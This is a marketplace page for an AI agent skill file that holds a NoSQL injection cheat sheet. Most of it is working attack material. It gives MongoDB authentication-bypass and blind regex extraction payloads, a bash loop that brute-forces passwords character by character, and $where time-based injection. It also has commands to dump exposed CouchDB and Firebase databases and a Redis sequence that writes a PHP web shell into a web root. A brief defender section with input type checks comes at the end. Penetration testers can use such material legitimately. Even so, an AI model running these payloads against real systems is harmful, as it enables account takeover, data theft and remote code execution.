# Nosqli

> NoSQL injection — MongoDB operator injection ($ne, $gt, $where, $regex), CouchDB / Firebase / Redis attack patterns, auth bypass, blind extraction.

- Skill: `purpleailab/nosqli` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/nosqli`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/nosqli/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/nosqli

---


# NoSQL Injection

NoSQL stores parse JSON / native objects. When user input becomes part
of a query object (not just a value), control flows into the query.

## 1. MongoDB — most common target

### Auth bypass
```json
// Vulnerable: db.users.findOne({user: req.body.user, pass: req.body.pass})
POST /login
{"user": {"$ne": null}, "pass": {"$ne": null}}      // returns first user
{"user": "admin", "pass": {"$gt": ""}}              // admin if pw exists
{"user": "admin", "pass": {"$regex": "^A"}}         // blind char extraction
```

### Server-side JS injection
```json
{"$where": "this.user == 'admin' && sleep(5000)"}   // time-based
{"$where": "function() { return this.user.length > 0 && this.user.match(/^a/) }"}
```
`$where` was deprecated in Mongo 4.4 — still appears in legacy.

### Operator extraction (blind)
```bash
# Burp Intruder w/ payload list
for char in {a..z}; do
  curl -s -X POST $TARGET/login \
    -d "{\"user\":\"admin\",\"pass\":{\"\$regex\":\"^${char}\"}}" \
    | grep -q "success" && echo "char: $char"
done
```

## 2. CouchDB
```bash
# Admin party (no auth required)
curl http://target:5984/_all_dbs
curl http://target:5984/_users/_all_docs
# Then read/modify any document
```

## 3. Firebase Realtime Database
```bash
# Public-read databases (most common misconfig)
curl https://YOUR-FIREBASE-PROJECT.firebaseio.com/.json
# Returns entire DB if rules are "true"
```

## 4. Redis
```bash
# Unauth Redis (still common on internal nets, occasionally exposed)
redis-cli -h target -p 6379 INFO
# Module loading attack if running as root + module dir writable
redis-cli -h target FLUSHALL
redis-cli -h target SET dir /var/www/html
redis-cli -h target SET dbfilename shell.php
redis-cli -h target SET payload "<?php system($_GET['c']); ?>"
redis-cli -h target SAVE
```

## 5. Tools

- **NoSQLMap** — automated mongo injection (`nosqlmap.py`)
- **mongoaudit** — config scanner
- Burp Intruder w/ payloads/NoSQL Injection/ as wordlist
- **fuzzdb** — has NoSQL payload variants

## 6. PoC

```bash
# Mongo auth bypass via curl
curl -s -X POST $TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$ne": null}, "password": {"$ne": null}}' \
  | jq

# If logged-in-as-admin → critical
```

## 7. Severity

| Bug | Severity |
|---|---|
| Auth bypass via `$ne` | Critical 9.8 |
| Blind char extraction of all user data | Critical 9.0 |
| `$where` JS injection → RCE-adjacent (mongo runs the JS) | Critical 9.8 |
| Public CouchDB / Firebase | Critical (depends on data sensitivity) |
| Unauth Redis on internal net | High 7-8 |

## 8. Defender

```javascript
// Sanitize/typecheck before query
if (typeof req.body.user !== 'string') return res.status(400).send();
if (typeof req.body.pass !== 'string') return res.status(400).send();

// Or use parameterized queries / Mongo ODM (Mongoose schemas)
User.findOne({user: req.body.user}).select('+password');

// Disable $where globally
mongoose.set('strictQuery', true);
```

## Cross-references
- Upstream catalog: `skills/_corpus/payloads/NoSQL Injection/`
- SQLi (different attack class, similar mindset): `skills/exploit/web/sqli.md`

